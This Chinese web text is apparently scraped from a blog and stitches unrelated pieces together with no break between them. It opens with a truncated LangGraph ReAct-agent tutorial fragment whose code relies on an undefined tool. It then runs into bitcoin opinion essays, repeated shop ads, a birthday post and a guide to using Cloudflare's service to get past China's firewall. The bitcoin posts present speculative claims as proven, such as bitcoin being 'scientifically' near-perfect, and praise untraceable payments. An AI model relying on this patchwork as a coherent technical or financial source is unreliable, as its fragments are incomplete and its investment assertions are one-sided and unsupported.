检索增强生成(Retrieval-Augmented Generation,简称 RAG) 通过引入外部信息源实现知识问答,解决大模型缺乏领域知识、无法获取实时信息以及生成虚假内容等问题。我们在 这篇博客 中学习了不少高级 RAG 技巧,通过 LangGraph 可以将智能体和 RAG 相结合,实现更好的问答效果。
ReAct 是最常见的智能体架构,这个词出自论文 ReAct: Synergizing Reasoning and Acting in Language Models,它是由 Reason
和 Act
两个词组合而成,表示一种将 推理 和 行动 与大模型相结合的通用范式。上面我们学习的 LangGraph 示例,其实就是参考了 ReAct 的思路,方便起见,LangGraph 将其内置在 SDK 中,我们可以直接使用 create_react_agent
方法来创建一个 ReAct 智能体:
from langchain_openai import ChatOpenAI
from langgraph.checkpoint.memory import MemorySaver
from langgraph.prebuilt import create_react_agent
llm = ChatOpenAI()
memory = MemorySaver()
tools = [get_weather]
graph = create_react_agent(llm, tools=tools, checkpointer=memory)
除 ReAct 之外,还有不少其他的智能体架构,比如多智能体、规划型智能体、智能体的反思和批判。
使用智能体评估智能体。
这里列举一些 LangGraph 的实验特性。
这幅“世界名画”大家都欣赏过了吗?
这是2014年的远古视频,比特币中国的李启元,跟经济学家郎咸平在一个电视栏目里关于比特币的著名争辩,其中郎咸平说的一句:“你给我比特币,我是不会要的”从此成为币圈的一句经典台词。
而那一年,比特币价格从1000美元跌倒320美元。似乎比特币真的就成了一个烫手的山芋,杀人不见血的修罗场,被割的寸草不生的就菜园子。然而惊风飘白日,光景驰西流,10年后的今天,比特币翻了45倍不止。
很多人嘲笑郎咸平这判断能力和认知能力太低了,包括很多反对比特币的人,我们都认为这群人不仅仅数学不好,脑子也不行。是的,站在比特币的视角确实如此,古今中外都是成功论英雄。你钱多,你说的都对。
可是人家郎咸平可是货真价实的经济学家,并且我很佩服他之前针对中国经济的一些观点,甚至是批评的文章。判断一个人,看待一件事物,都不能只用好坏,黑白来定义。世界上哪有圣人,哪有完人,不存在的。就看对你带来了哪些启发,以及你又思考了什么?
一个货真价实的经济学家都没预想到比特币会发展到如今的地步,那么作为我们普通人,看走眼了不也很正常吗?假如比特币真的足够完美,你还能买得到吗?就好比说,炒股如果真的能赚到钱,那么你开个户都要托关系才行。
比特币从7000元跌倒3000元的时候,不少人绝望了,这时候谁要说比特币未来会涨到5万元,估计会被人喷死。但是短短几年,比特币从3000涨到了15万元,不仅仅是我们普通人,更有不少互联网大V,明星,分分加入区块链。高喊“区块链革命来了!”
然后当比特币从15万元跌倒2万5,国家一纸政令封杀,不少群一夜之间解散,整个币圈出奇的安静。没人在为了区块链声嘶力竭的呐喊了。该清仓的清仓,该出国(跑路)的出国,还有一些人进去了。
就像刚接触比特币一样,我充满了兴奋,不仅仅是因为技术带来的震撼(假装自己懂技术),更因为实实在在的投资收益。从马路一边走到马路另一边,打开账户一看,浮盈3万元。那时候才知道币圈大佬们所说的,早晨一睁眼,卧槽,资产升值了几个亿。
但随着几次跌宕起伏的牛市熊市,看着比过山车还刺激的K线。我明白了很多道理,知道市场的运行规律,也看到了自己的能力欠缺。如下图所示,我在没有进入币圈之前,就看到过这张类似的图。
愚昧让人自大,让人有一种“傲视天下,唯我独尊”的绝对正确感。而现实总会给与一些适当的削减和打击,或多或少,让人陷入绝望。这也是幸运的,一味的自大不自知,就如同在高速上没有刹车的汽车一样。当能进入绝望,才能开始反思,总结,复盘,这是大多数人会做的事情。也是人挺有意思事情,疼了才知道长记性,才开始用脑子。难怪米兰・昆德拉说“人一思考,上帝就发笑”,确实值得一笑。
从不知道自己不知道过度到知道自己不知道,才是一个人做很多事情的开始和基础,能开悟是值得高兴的。不开悟,起码知道了有些东西不是自己能掌控的,那就远离就好了,学会遗忘和放弃未尝不是正确的选择。
当年你能逐渐开悟,就会明白,哪有什么币圈,都是一群人故作高雅高深的自嗨罢了。你我皆是芸芸众生,都是案板上的肉,都是棋盘上的棋子罢了。“我命由我不由天”偶尔喊两句释放一下分泌过多的荷尔蒙和产生一些安慰大脑的多巴胺就行了。可别真觉得自己兜里揣点比特币,就能改变世界了。
即便比特币真的改变了世界,也不是你的功劳,但有你很重要。是所谓:功成不必在我。(请慢慢理解)
如果不出什么特殊情况,在不久就会看到一些无趣的新闻报道“比特币又创历史新高”,“比特币暴跌,爆仓XX亿”,请注意先后顺序,不然就没意思了。历史总是惊人的相似,这句话值得不断引用。
所以比特币即便是888888元一个,也没什么意义,因为波动的还是法币。不是比特币更值钱了,是法币不值钱了。有比特币的朋友们,可以端起酒杯,茶杯,水杯,咖啡杯,虽然我们可能没有见过面,但我能感受到我们的心意相通。没有比特币的朋友们,也感谢你对这个世界还保持和充满好奇,你生活开心,身体健康,永远比任何资产都重要。
其实在2014年还有一位老哥,用自己攒了7、8年的48万元人民币买了100个比特币。但最后因为扛不住下跌的压力,最终亏本清仓。放到如今应该价值4500万元,全中国的房子可以闭眼随便买了。
所以你看,究竟是想买买不到让人纠结,还是买了最终拿不住更让人痛苦呢?人生总有意难平,好好体验人生的乐趣吧。
推荐阅读:
今年是2024年,我帮你回顾一下之前的一些重大新闻通告与公告:
2013年12月5日,中国人民银行、工业和信息化部、中国银行业监督管理委员会、中国证券监督管理委员会、中国保险监督管理委员会联合发布了《关于防范比特币风险的通知》。该通知指出,比特币被认定为一种特定的虚拟商品,其不具有法偿性与强制性等货币属性,不能且不应作为货币在市场上流通使用。
2017年9月4日,中国人民银行等七部委发布的《关于防范代币发行融资风险的公告》指出,代币发行融资是指融资主体通过代币的违规发售、流通,向投资者筹集比特币、以太币等所谓 “虚拟货币”,本质上是一种未经批准非法公开融资的行为,涉嫌非法发售代币票券、非法发行证券以及非法集资、金融诈骗、传销等违法犯罪活动。
2021年9月24日,中国人民银行等十部委联合发布《关于进一步防范和处置虚拟货币交易炒作风险的通知》,旨在进一步防范和处置虚拟货币交易炒作风险。重点重申虚拟货币不具法币地位,其相关业务活动属非法金融活动。建立部门协同、央地联动工作机制,加强监测预警,构建处置体系,严禁金融机构、非银行支付机构及互联网平台为虚拟货币业务提供服务,依法打击相关非法金融活动。
当然这几年还有一些不大不小的通知公告,意在强调风险,落实管控。实际上比特币虽然被禁止交易,但持有并不违法。并且比特币在中国官方的定义下,等同于虚拟装备,虚拟资产,绝对不具备法偿性,更不是货币属性。意味着,如果说A欠了B人民币1万元,B如果想用价值1万元的比特币还给A,那么是不可以的,是违法的。除非A与B私下达成协议,那这个可以。但是不受法律保护。
这过程中,如果A收到了比特币,但是不承认,那么B还是要偿还1万元人民币给A。同样的,如果B给A假的比特币,那么A还可以通过法律让B继续偿还1万元人民币。这个我说的够明白了吧?
所以,比特币虽然被官方层面禁止,但还有一种在边缘的感觉。至少前年我知道的一个巴盟矿场老板,就通过比特币支付的方式,偿还了另一个人的130万人民币的欠款。两人也没有什么纠纷,到现在我看还朋友圈互相点赞。
但注意哈,也有一些新闻证实,如果交易比特币,还可能构成非法换汇罪。不仅仅会没收比特币(也可能无法没收),还会没收人民币,这叫非法所得。更甚至会判刑,所以千万不要试图游走在法律的边缘。
所以,如果你愿意放弃法律对你投资的保护性,并且不会在事后反悔追溯,能承担一切风险,不限于投资归0的风险,那么你也只是心理上刚刚准备好。而中国并不是100%禁止比特币交易,严格意义上来说,只是中国大陆境内禁止比特币交易。想买比特币,也并不难,香港就可以。
最近几个月,看很多人都在说,香港有可能是中国试水比特币的第一站。这里插句题外话,其实中国大陆境内之前是允许比特币交易所,也是支持人民币与比特币的交易的,是直接交易,并不像后来的币币交易。当时直接可以绑定银行卡,24小时随时买卖,毫无限制。那段日子,现在回想起来,应该就是比特币最美好的“田园时代”,以后单独聊聊。
香港上线了比特币的ETF,包括我们熟知的京东,也推出了京东的数字货币。那下一步,怎么运作,怎么开展,怎么普及,可以静观其变。包括香港很多线下实体店,也是支持比特币兑换的,除了比特币还有USDT,以太坊,你直接给他人民币或者港元就可以。具体的可以自行搜索,等下次有机会去香港我拍个vlog体验一下。
可能一小部分粉丝朋友跟我一样,还没有自己的私人飞机。如果有机会还可以出国看看,都不用说正在“衰落”的美国。就说已经“衰落”的日本,很多风情街都支持比特币支付,我靠,匿名,无法追溯,太让人放心了。我有个朋友都念叨大半年了,我要不是每天严厉的批评他,他早就带我去了,啊不是,是早就自己去了。
从中国政府的角度来理解封杀比特币这件事情,并不难。虽然当时不理解,现在能理解了。用那句流行的话说:人赚不到认知以外的钱。我们是家长式政治,不是真正意义的那种,法无禁止即可为的管理思想,至少真正落实的时候不是。
在我的腾讯钱包里,还存着2克的金子,是之前在币圈的微信群里面有大佬发的。在插句题外话,那会一个月要是在这些币圈微信群里抢不到个1万,2万的。都没脸说自己在币圈混过。经常是突然蹦出一个微信红包,点开领取就是130,93,170的,更后来都是人均单个200封顶的红包。
我这2克金子当时应该价值500多,现在我看了一下,1000多,也就是说不到6年时间翻了2倍。每年回报率接近20%这样,而比特币1万到现在的45万,平均每年投资回报率44%。呵呵,估计搞传销的都要说一句,兄弟,你这个东西是违法的吧?
于是,我不建议在中国大陆境内购买比特币,至少得等到合法合规的时候,持有合法,交易合法,买卖合法。并且更重要的是,你还要有这个技术实力保存好你的比特币,而不是放在交易所,放在交易所的比特币不是你的。这是无数血淋淋的教训给出的经验。
在这里重申一下,我写文章绝不是为了带你炒币赚钱,更不是推荐项目让你“一夜暴富”,我希望你把我所写的所说的,都当做茶余饭后的消遣。我既不贩卖焦虑,也不兜售情怀(可能偶尔),更不无脑鼓吹和贬低。
人呐,既不能太理想主义,也不能太现实主义,就像既不能只有比特币,也不能只有黄金。这就是一个硬币的两面,也许会是未来金融经济等领域的主要矛盾。我等且行且看,见证历史。
今天这篇是风险提示,明天写一个更劲爆的话题:买比特币买的是什么?(有可能拖更,哈哈哈)
推荐阅读:
后台有位朋友提出了这个问题。我很开心有人终于能从实用角度,从交流的角度来探讨比特币。而不是张嘴闭嘴就比特币垃圾,比特币骗局,更不是让我给各位粉丝朋友推荐什么区块链项目。
这位朋友问题的问题很有意思。你小吴不是说美国政府都认可了么?还有国家当做法币了吗?更甚至现在比特币的算力和电力消耗已经完全是逆天的存在,那为什么还没有更多人愿意使用他呢?
首先,一件事情的流行,都是逐步普及开的。这个过程并不简单,也不会一夜之间风靡全球。微信刚刚问世的时候,不也是1万10万100万1000万的慢慢增长吗?更何况新事物的出现,也会遇到阻力。还记得红旗法案吗?
19世纪,汽车被发明出来,但当时马车依然是社会的主流交通工具。为了协调汽车与马车关于路权的争夺,就成立了红旗法案。法案规定汽车在行驶时必须有一个人在前面步行,举着红旗为其开道。
而如今,马车消失殆尽。从当前的眼光看过去,红旗法案就是一个笑话。但历史总在重复,比特币也会经历汽车一样的限制和抵制。就如同现在刷卡,扫码支付已经成为主流,几乎没人会拿着现金日常购物消费了。
还有,比特币的技术复杂度很高,想要学习和了解都需要投入精力和时间。至少在比特币还没有成为像微信抖音那样入门简单的“产品”之前。你我都要不断学习,了解,观望,急不得,也忽视不得。昨天评论区有朋友说,自己的0.7个比特币被黑客盗走了。要知道,黑客是偷不走你的比特币的,绝大多数都是自己泄露了私钥,或者中了木马程序,更有可能是自己操作失误等。
这些都是比特币在全世界流行开来的客观制约,其实还有,咱们随时补充。我还想说一点主观约束。还是举个简单易懂但略有粗糙的例子。
假如你是一个权威的数学家,你发明了1+2+3=6。大家都喜欢你的这个公式,简洁明了,高端大气。但是如果突然有一群不知道哪里来的,都没有什么权威认证的人,发明了3+3=6,比你的公式更短,更简洁。如果最后全都使用3+3,那么你的权威就不在了,你多年的名声就没了。所以从个人利益角度出发,大部分人必然选择诋毁3+3,所有基于1+2+3受益的人,都会不由自主的抵制3+3。
你能明白我这个意思吗?曾经有人这样描述比特币:此物一出天下反。老百姓可以反(造反),不受法币的奴役。而权威也会反(反对),避免自己跌落神坛。
这个世界的先贤们,经常说,把权力关进笼子,还有会说透明官员财务。请问都做到了吗?都实现了吗?能真正的让百姓信服吗?我想答案你心里已经有了。而如果使用比特币,或者不是比特币,只要是基于区块链技术,可溯源,去中心化,那么,以上问题迎刃而解。
更不用说每年各个国家的无限印钞,造成的明显与不明显的通货膨胀。咱都不用扯什么专业报告,也不用分析什么各项指标。我就问你,同样是30万,为什么很多年前能再北京买套房,现在连个交个首付未必够。怎么钱还就没砖头贵呢?
一个有趣的可以参考的观点是,如果你卡里存了1000元,到年底没有变成1100元,那么你这1000元,真正价值就是900元。数学稍稍好点的,明白我的意思吧?
你说,比特币怎么能不被打压呢。扯了这么多,也不知道你是否认可我所说的。我其实还可以根据你的问题扩展一下,也许有助于你更好的思考了。
通过阅读增加知识,为什么没有流行开呢?但贩卖焦虑流行开了。
通过健身强健体魄,为什么没有流行开呢?但保健药品流行开了。
通过自己做饭避免垃圾食品,为什么没有流行开呢?但美团外卖流行开了。
世界上有很多值得流行的东西和事物,却仅仅限于一部分人或者一小部分人,变得焦虑,肥胖,无知,远比保持健康和良好习惯更容易一些。就事论事,非人身攻击哈。
单从流行程度来评估一件事,在这个时代并不妥当。这是我的个人观点,如有不对恳请斧正,欢迎交流探讨。
比特币不仅仅是在对抗愚昧的金融权威,比特币也在成为新权威,它不需要让反对者信服,而是因为反对者终将死去,一切就自然顺势而为了。
每参加一个反对者的葬礼,比特币就前进一步。比如下面这位:
推荐阅读:
计划标题:尔曹金与名俱灭,难废比特万古流—黄金与黄瓜之比特币真正“价值”
在不久的将来,我们会看到比特币的市值超过黄金。
黄瓜大家都吃过吧,黄金大家也都知道吧,或者你身上可能还带着金戒指,金项链,金耳环,甚至大金表。为啥黄金1克就能卖到500多元的价格,而黄瓜一斤也才6块钱,算下来1克黄瓜才0.012元,二者价格相差约41666.67倍,是什么造成这样的价格落差呢。
你说稀缺性,黄金确实稀缺,难道黄瓜就不稀缺了吗?黄金还有很多都在底下尚未被开采,甚至还有未被发现的。而黄瓜全世界有多少,是可以被统计出来的,要说稀缺性,黄瓜的稀缺性可比黄金强多了。
其实这里,对“稀缺”的理解就要分开来说了。黄金的的稀缺性来自于开采难度,要知道找到一个金矿可不是说拿个扫描仪扫就完事了。是一个很庞杂的工业工程,凝集了人类的很多高精尖技术才能说有一定概率找到金矿;并且黄金还是工业稀缺品,用于航空航天,甚至首饰珠宝,这个稀缺性也不能忽视;而且最为重要的是,黄金以目前人类的技术,几乎无法合成生成,粒子加速器倒是可以合成黄金,但是成本极其高,没有必要。
黄瓜的稀缺性仅仅是在民生领域,更具体点就是食用需求,所以虽然也具有稀缺性。但不具备那种被高度重视和赋予高价值的稀缺。更何况黄瓜可以随时被大面积种植,价格增长幅度有限,且市场需求容易饱和,不具备长久的稀缺性。
感兴趣的可以了解一下S2F模型,用来评估黄金等资产当然也包括比特币。算是能很好的了解“稀缺性”。当然这个模型并非绝对权威,但是可以作为参考,请你悉知。随着比特币的减半,目前通过这个S2F模型评估的资产硬度数值,比特币已经超过黄金了。在不久的将来,我们会看到比特币的市值超过黄金。
前面我说了,黄金合成难度极低,包括之前的博客文章也提到过,黄金是超新星碰撞在极其恐怖的爆炸中产生的。如果谁能人工合成黄金,别说诺贝尔物理学奖了,直接把诺贝尔复活给你天天端茶递水都可以。黄金,白银,铜铁,这个顺序也是按照合成难度来依次排序的,是不是有点意思了。
于是,黄金就被当做了个人的价值投资品,更是国家的战略储备。还有那句话,乱世黄金,盛世文玩。你看当前黄金的市值,以绝对优势碾压当前这个星球各大公司的市值。
但黄金却有个无法避免的问题,量小点还好说,但是量大怎么办?如何保存?如何安全的保存?真给你10斤黄金,恐怕你不是担心怎么变成钱,而是怎么安全的保存和未来安全的使用。而且你真要是拿着哪怕1斤的黄金去兑换,怕是也会被各种盘问,最终能不能换成钱还两说。
比特币就不存在这个问题,本质上你有1万个比特币和0.1个比特币是一样的,唯一需要担心的就是如何安全的保存好你的助记词。当然这个方式有很多种,可以软加密保存,也可以记在纸上,或者硬件钱包,多种多样。技术难度并不高,而且安全上限极高。
想换成钱,可以用交易所的c2c,比如1000元以上30万元以内都可以。如果量大,可以去香港有专门的线下兑换渠道,甚至每个城市也都有比特币的承兑商。如果超过1000万,更可以联系好机构,也没问题。以前一个挖矿的朋友,对接了一笔价值1.3亿人民币的比特币兑换业务,出售方是日本某团队,据说是山口组的背景。承兑商是新加坡的一家军方背景的机构,双方约定在香港的某家银行进行交易,最终完美成交。
手续费只有103元(当时比特币的价格),想想就很有意思,1.3亿的转账,手续费只有103元。怕是这个地球上再也找不到这么简单高效低成本的交易方式了。
一味否定比特币,则意味着你的人生失去了一种可能。一味的赞美比特币,无脑吹捧,则意味着你可能会陷入一些风险骗局。我们可以说黄金几乎难以合成,也可以说比特币几乎完美。这都是经过科学证实的,而科学就是用来质疑的,就是用来去伪存真的。这个真,就是真理。
是所谓:尔曹金与名俱灭,难废比特万古流。
打个广告:抖音搜索【蒙特敖汉特产】,我妈开的特产店,主营敖汉小米(孕妇,老人,小孩,健康人群),自家碳烤牛肉干,可以发快递到全国。提我有优惠,一份心意,愿您吃的健康。
推荐阅读:
那今天继续聊聊比特币,如果每个人都有比特币可能会发生什么?
我们走后,他们会给你们修学校和医院,会提高你们的工资,这不是因为他们良心发现,也不是因为他们变成了好人,而是因为我们来过。
——切·格瓦拉
注意:这句话也有可能不是切·格瓦拉说的,但他曾表达过与之类似的观点。我的引用仅作为表单观点的一个引子。
不管是我聊比特币,还是聊什么其他话题,都只是我个人观点,我不是在说服谁。重点是我在记录我的生活,所以,持反对意见的欢迎交流观点,哪里不对的,还望斧正。
你思考这个问题,现在的8小时工作制是怎么来的?
如果你了解历史就知道了,8小时工作制是通过工人阶级反抗斗争,流血牺牲换来的。在此之前,工业革命时期,工人的每天工作时间都在12小时左右,甚至更长时间,而且工作环境恶劣,劳动强度极大。直到经过无数的反抗镇压,又反抗又镇压的过程中,才让资本家们以及各国政府意识到保障工人权益的重要性。
最终才慢慢的开始实行8小时工作制,工作环境也开始改善,世界也越来越“文明”。而那时候工人手里有斧子,有铁锹,也有不少枪,资本家和国家机器手里也有枪。所以反抗虽然艰难,斗争曲折,但还算能看到希望,双方战力悬殊并不是很大。
现在你再看看,工人手里还有什么?资本家和国家机器手里有什么?这还怎么打,有更何况如今的社会体系庞大复杂,说直白点就是阶层锁死。一个普通家庭,想跨越阶层,难如登天,不管你信不信,事实就是如此。而且更残酷的真相是,每一个用尽浑身解数爬上阶层的人,转身就把后面的门给关上了。
国家机器通过无限量的印钱,调整政策。轻松的就可以把一大批普通家庭牢牢锁死,更可以把那些中产家庭财富轻松收割,而有钱的富人,要么寻找更强大的靠山,要么做好资产分配,对抗风险。这也不用我举例子吧。最近考公大军的数量,还有某地方退休金发放数量与比例就足够参考了。
那你可能说了,这跟比特币有什么关系呢。就如我前面隐晦表达的,国家垄断暴力,才能无限制印钱。没有暴力的垄断作为支撑,印钱的底气必然不足,更何况要成为世界货币。流通范围就在大炮的射程之内。
疫情三年,给我沉重的上了一课。如果你觉得也没啥,那你可真是一个幸运儿。到底是天灾还是人祸,自在人心,不再多言。
如果我们的财富,不仅仅只有法币,而是还有比特币,这样去中心化的,无法被任何国家剥夺的“货币”。(推荐哈耶克的《货币的非国家化》)那么在世界范围内,所有的执政者的无限印钞的底气会少了很多。虽然这个过程会很慢,但一定会慢慢普及,只要这个世界的人们能稍稍的了解一些历史,稍稍的把大脑变得清醒一点点。
比特币从开始的极少部分密码学爱好者在用,到极少部分技术爱好者在用,到极少部分普通人在用,到一小部分普通人在用,到可以公开讨论媒体报道,到区块链成为产业加密货币成为热门,到极少部分国家当做自己国家的法币,到美国这样的顶级强国承认比特币,到全世界各大基金开始蠢蠢欲动计划把比特币当做资产配置的极小部分。
那么,未来还会远吗?
我明白一个道理,我一定不是世界上最聪明的,我能做好的就是,找到世界上最聪明的人,然后看看他们怎么做。说比特币是垃圾的,一定不是聪明人,但同样,把比特币夸上天的人,也不是聪明人。真正的聪明人是把事情做在顺势之前,等风来,便可水到渠成。
就好比说炒股,想赚钱太容易了,就四个字:低买高卖。但哪里是低?哪里是高?就各凭本事了。
当每个人都有除了法币以外的“货币”,并且是不受到国家机器控制的货币,并且是随着用的人越来越多,已经自成体系,自成生态,几乎可以替代法币存在的“货币”。那么这时候,就会逐渐形成三方势力,从零和博弈到了复杂博弈。这个过程依然漫长,但实现的可能已经不属于曾经书本里面的幻想了。(推荐一本神书《主权个人》)
以前年轻气盛,在某政府机构办事,因为对方的态度敷衍,还真就指着对方的鼻子说了句:你就这什么态度,对得起我们纳税人吗?(大概意思是这个,原话有点模糊了),现在想想都太魔幻了,太科幻了。但把这件小事放大一些,你会很绝望,你交着税,努力工作,不做坏事,养活了一大批工资来自于我们纳税的服务人员。而这些服务人员小部分趾高气昂,鱼肉百姓,你却无可奈何。
当然,现在政府的服务好多了,改善多了。但这些也是从内到外的,如果没有内部的推动力和改革动力,那么现在的现状依然是和过去一样。我们也依然无能为力。
国家没有好坏,本质上都一样。说好听点叫“服务人民”说难听点叫“永恒奴役”,自古以来都这样,未来如果人人都有比特币,国家机器才会真正的有“服务人民”的动力。我这个想法我自己也承认有些极端,所以我也只停留在浅层的思考层面,所以我才会更客观冷待的看待这个世界,所以我才没有什么极端的想法。就像《三体》小说里罗德说的那样:
“失去人性,失去很多;失去兽性,失去一切。”盲目爱自己的国家是可笑的,疯狂诋毁自己国家是可悲的,能平等面对国家机器才是这个时代最难能可贵的。
好像今天东扯西扯的跟主题有点偏,哈哈哈,反正你别把我这当成一个什么权威发布,更不是学术论文,纯粹是江湖瞎撇,用重庆话说叫摆龙门阵,用我们赤峰老家的话说叫扒瞎。得,今天就扯到这,明天聊聊黄金与黄瓜。
终有一日,他们会大幅削减政府不必要开支,大幅提高普通人退休金占比,全力夯实全民医疗保障根基,严密守护公民个人财产安全,全然忘我地为本国乃至外国公民竭诚服务。这并非他们幡然醒悟,亦非他们摇身变为善人,而是因为我的存在。
——比特币
打个广告:抖音搜索【蒙特敖汉特产】,我妈开的特产店,主营敖汉小米(孕妇,老人,小孩,健康人群),自家碳烤牛肉干,可以发快递到全国。提我有优惠,一份心意,愿您吃的健康。
推荐阅读:
从2017年开始我接触比特币,就不断有人把比特币定义为“骗局”。嗯,从1btc=10000元RMB开始,就不断唱衰。都2024年了,1btc=450000RMB了,还有人把比特币当做“传销”“骗局”。嗯,行吧,这样的人,大概率是脑子里只能进行单一维度的思考。咱也不去纠正他们,各自开心就好。
回到本文的主题“如果每个人都有一点比特币,世界会发生什么?”,这算是一个思想实验,而且未来10年以后,还真的可能会发生。不能说人人都有吧,至少也不比美元的覆盖率差多少。不知道10年之后,美元还硬不硬气?
比特币并不是货币,或者说货币只是比特币的其中一个“角色”。我们通俗意义上理解的货币,必然是国家发行的具有明确信任载体的等价物。比特币并非国家发行,而是基于代码生成,由无数的比特币矿机按照达成共识的代码共同运行。在运行过程中通过复杂的计算,并且是基于区块链技术,按照单向顺序逐块生成且不可逆。
两者的最大区别就是,中心化与去中心化,无限增长和数量永恒。
几乎每个国家都有自己的货币,可以在自己的国家自由使用,用来交易。甚至有的货币还可以去别的国家交易,成为世界货币。这背后是国家信用的象征,你可以在北极,南极,珠穆朗玛峰上都能找到它的痕迹。而这最深层的本质是,国家实力。
有了这个实力,甚至可以略带强制性的,让其他国家接受非本国货币。从而把自己国家的货币当做世界货币,最后再通过调控,收割全世界。真正做到,人在国中坐,轻松拿捏全世界。比起之前的打打杀杀,金融战才更有性价比。
有时候我在想,如果今天世界货币的头把交椅不是美国,而是其他国家,是不是大概率也是会按照美国的逻辑来拿捏全世界。在各个国家驻军,全球遍布军事基地,时而疯狂的印钞,时而疯狂的降息。屠龙者变成恶龙的事情也不是不可能,又或者,这就是成为世界货币之王的命中注定?
大到国家,小到个人,不在于你的讲的道理对不对,都在于你的拳头硬不硬,你的刀快不快,你的导弹多不多。更何况,这世界哪有那么多道理要讲,掌握真理的人的实力始终要比挑战真理的人的实力强才是真的真理。换个简单例子,我们小区楼道总有人抽烟,搞得公共区域乌烟瘴气,如果国家规定,明天公民可以自由持枪。你看看还有没有人抽烟(当然,反对抽烟的人数要多才行,哈哈)。
法律讲不明白的,那就讲武力讲暴力。垄断暴力,才是很多事情的最基本保障。什么人之初,性本善,都是扯淡,哪有那么复杂。人既不善,也不恶,到底该善该恶完全取决于环境,这就是人性。
而比特币,不相信人性,只相信代码。如果我说,我跟吴彦祖颜值不相上下,可能同意的人不会超过80%(不同意的mjj),但是如果我说,1+1=2,那么同意的人会是100%。当然,这里我偷换概念,观点和事实当然不能用来同时对比。
但有趣的地方就来了,如果我们只聊事实,那不就不再有对错之争了嘛。我们只聊事实,不就能以最低的成本最高的效率达成共识了嘛。我们只聊事实,不就能省去质疑怀疑,成就价值了嘛。
代码就是事实。
法国大革命时期《人权宣言》指出:财富神圣不可侵犯。这也是民主国家的最基本共识,也是所有普通人的积累财富的动力和财富希望。当然这依然是国家给民众的“安慰剂”,纵观世界历史,国泰民安的盛世,大家相安无事。但是一旦危机存亡之际,那层窗户纸就捅破了,脸皮也撕破了。
比特币的出现,算是真正做到了“财富神圣不可侵犯”,只要你保存好自己的私钥不泄露,你的比特币将永远属于你。关于比特的安全性,有空再单独讲讲,那可是一个大系列。
大家可能都听说过不可能三角,就是说三个目标不可能同时实现。那在没有比特币之前,国家与公民是相爱相杀的状态。不是奴役就是反抗,中间夹杂着短暂微妙的平衡,但终究还是不长久,无法持续。原因就是我前面表达的,我有枪在手,跟你讲那么多道理没必要。国弱民强,国强民弱,是一种很好的状态描述。
而比特币出现以后,这种情况似乎开始有微弱的变化,似乎可以出现一个“不可能三角”,这分别是,国家,比特币,公民。就简单粗暴的按照强弱逻辑来阐述我的观点吧。只可以有两个角色变强,另一个则会变弱。
国家强,比特币强,国民弱(国家掌握大量比特币成为国家储备,且数量巨大,导致比特币极度稀缺,则普通人更难获得。)
国家弱,比特币强,国民强(国家层面忽视比特币,普通公民逐渐达成共识,人人持有比特币,则国家话语权减弱。)
国家强,比特币弱,国民强(国家盛世,天下太平,世界大同,那就没比特币什么事了,但理想状态,想想就得了。)
这里面,最理想的状态是世界大同,最差的是国强民弱,最有性价比和实现可能性大的,就是人人持有比特币。国家无法消灭比特币,也无法剥夺公民持有的比特币,就只能转变角色,真正的思考如何提供更好的服务,真正的让人民感受到环境变好。
当然,这个过程并非想的这么简单,也绝非一朝一夕,3年5年就能实现,这都需要每个人去努力实现。从开始的少数人,到慢慢的一部分人,到以后的大多数人,以及所有人。这不是简单空泛的理想主义,这不是不切实际的幻想,这是脚踏实地,一步一步走向的未来。
正如那句话所言:未来已来,只是尚未流行。
Ps:本文不构成投资建议,仅作观点探讨,抛砖引玉。
打个广告:抖音搜索【蒙特敖汉特产】,我妈开的特产店,主营敖汉小米(孕妇,老人,小孩,健康人群),自家碳烤牛肉干,可以发快递到全国。提我有优惠,一份心意,愿您吃的健康。
推荐阅读:
没想到日子过得真快,刚过完阴历的生日,又赶上了阳历的生日。哈哈哈哈,不知道现在00后过生日是不是只过阳历生日了。在我们小时候,过生日只过阴历生日,或者说阴历的生日是被当做“真正的生日”。
杨总在没有告知我的情况下,定了一个蛋糕。还挺可爱的,更有意思的是,快递师傅在送蛋糕的过程中,不小心把蛋糕上面的小熊给晃掉了。如下图所示:
而杨总也并没有因此生气,我们两个反而很开心,觉得这个蛋糕的意义更不一样了。而且这只可爱的小熊不像是滑下去,更像是在往上爬。总之看起来是很有趣的,还特意选了一个25岁的年龄装饰。倒是可以留着等我52岁生日的时候再拿出来。
蛋糕味道还挺好吃的,不腻人,甜度也尚可。比起小时候吃的那种甜度超高,而且做工也不是多么精美的生日蛋糕,确实强了很多。但小时候过生日,相当热闹,没想到蛋糕的质量与生日的热闹氛围成反比。这也许就是人们常说的长大了吧。
因为光顾着吃蛋糕,又忘记自己牙疼的事情了。果然杨总批评我说我长了个吃的脑袋,确实如此。现在牙齿微微疼痛,似乎也在告诉我,我的身体依然不是以前那么抗造了。该克制就要克制了。
哦对了,今年和明年,我与杨总还有一个更好的期待和计划。我想不说你也能猜到,那我就不说了。保留一点点神秘,我们才会有更多的交流机会。
小吴乐意,生日快乐~
打个广告:抖音搜索【蒙特敖汉特产】,我妈开的特产店,主营敖汉小米(孕妇,老人,小孩,健康人群),自家碳烤牛肉干,可以发快递到全国。提我有优惠,一份心意,愿您吃的健康。
推荐阅读:
被誉为“赛博菩萨”的Cloudflare又又又发福利了,翻墙爱好者又能多一个免费的羊毛。即便已经有稳定梯子的小伙伴,也可以把这次的福利当做备用方案。万一机场被端了,或者IP以及域名被封了,那么还可以启用Cloduflare提供的服务作为备选方案。
以我个人体验来分享一些经验,抛砖引玉,期待交流和探讨。
这次Cloudflare在之前的一个叫“cloudflare WARP”的软件上提供过VPN服务,不过已经被墙不能使用。而这次,新增了一个叫“MASQUE”协议。开启以后,可以实现魔法上网,速度也还可以,后面我会说到。这个新的协议目前是毫无压力的通过了长城防火墙,免去了之前复杂的翻墙操作,也无需去搞什么优选IP。
下载地址是:1.1.1.1
如果之前大家有薅过WARP+羊毛的,手里应该还有不少流量,我目前还有23PB的流量,已经非常多了,完全够用了。如果还没有这个福利羊毛,可以谷歌一下,还有不少办法可以获得超多的免费额度流量。也不难,所以叫cloudflare一声“活菩萨”一点也不夸张。
基本上我的域名全部都在cf上面,买域名也都从cf上下单。我明知道9月份域名续费要涨价,也没有在8月份提前续费,真的是在自己省钱和能让cf赚钱的平衡中找到了平衡。
其实还有一个低调的活菩萨,就是甲骨文。目前我的梯子就运行在甲骨文上,当时是免费的羊毛,恰好我的外币信用卡没有被风控,直接注册成功。配置虽然不高,但是已经足够用了,0.5G的带宽速度,看4K无压力。
那么就不得不说一下我使用Cloduflare的体验,白天的速度,能跑到1.5G的样子,看8K都没压力。但是提速过程不太尽如人意,并不是那种丝滑的提速,还是略有不稳。到了晚上,应该是网络高峰了,使用起来就能感到压力山大。速度跟甲骨文的速度差不多,但稳定性上差了一些。
